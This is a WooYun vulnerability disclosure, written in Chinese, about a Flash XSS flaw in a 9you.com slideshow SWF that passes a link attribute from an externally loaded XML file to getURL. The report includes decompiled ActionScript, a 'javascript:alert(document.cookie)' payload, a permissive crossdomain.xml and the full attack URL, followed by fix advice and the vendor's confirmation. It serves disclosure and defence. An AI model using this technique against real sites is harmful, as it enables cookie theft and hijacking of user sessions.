当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-018472

漏洞标题：久游网FLASH安全问题深入分析与利用(一)

相关厂商：久游网

漏洞作者： _Evil

提交时间：2013-02-08 13:16

修复时间：2013-03-25 13:17

公开时间：2013-03-25 13:17

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-02-08： 细节已通知厂商并且等待厂商处理中
2013-02-08： 厂商已经确认，细节仅向厂商公开
2013-02-18： 细节向核心白帽子及相关领域专家公开
2013-02-28： 细节向普通白帽子公开
2013-03-10： 细节向实习白帽子公开
2013-03-25： 细节向公众公开

简要描述：

getURL安全问题.

详细说明：

案例:

lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=xml/bcastr.xml


这类型调用方式, 调用的外部配置或数据文件后缀，如: xml等
Flash的actionscript脚本目前网络上存在2种版本，即2.0与3.0
函数A内容如下：

//as3.0版本
navigateToURL(new URLRequest(参数), "_self");
//as2.0版本
getURL(参数,"_self");


案例是2.0版本的.
其中参数就是被打开的链接。
如果参数是 "javascript:alert(1)"
那么就可以执行JS代码了。这里的点击执行代码的效果类似于网页里的

<a href="javascript:alert(1)">点我弹出1</a>


我们先看看xml配置文件中的信息:

1.jpg


item_url 为显示的图片地址
link 点击图片的跳转的参数;此为上面所讲的可控参数.
逆向看看这个swf:

getURL(bcastr_link_array[this.id], "_blank");


找到类似代码,我们看变量名字可以看出bcastr_link_array因该是link标签的数组,跟踪下bcastr_link_array.

bcastr_link_array = new Array();
.............................
 while (i < item_total_num) 
        {
            bcastr_flie_array.push(bcastr_xml.firstChild.childNodes[i].attributes.item_url);
            bcastr_title_array.push(bcastr_xml.firstChild.childNodes[i].attributes.itemtitle);
            bcastr_link_array.push(bcastr_xml.firstChild.childNodes[i].attributes.link);
            ++i;
        }


证明了我们的猜想,数组循环赋值.

漏洞证明：

漏洞利用:
将link标签地址转换为我们的攻击代码,如

javascript:alert(document.cookie);


跨域操作.
在我们自己网站的根目录下，放置一个 crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="网站" />
</cross-domain-policy>


本例子中网站->改为:*.9you.com(匹配任意的9you.com子域名)
最后的攻击连接:

http://lh.9you.com/web_v3/bcastr.swf?bcastr_xml_url=http://127.0.0.1:8080/bcastr.xml


http://127.0.0.1:8080/bcastr.xml

为我搭建的环境.

2.jpg


3.jpg


好了点击下里面的图片.

4.jpg

修复方案：

对XML中传入的link url进行正则判断
或者
限制加载第三方网站的XML文件
贵站排查好这类型的swf文件,我就不刷分了哈哈.

版权声明：转载请注明来源 _Evil@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2013-02-08 14:25

厂商回复：

漏洞可以对客户端造成攻击。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-10 16:18 | 毛猴 ( 实习白帽子 | Rank:63 漏洞数:18 | 一 只 怀 有 梦 想 的 猴 ......)

    够详细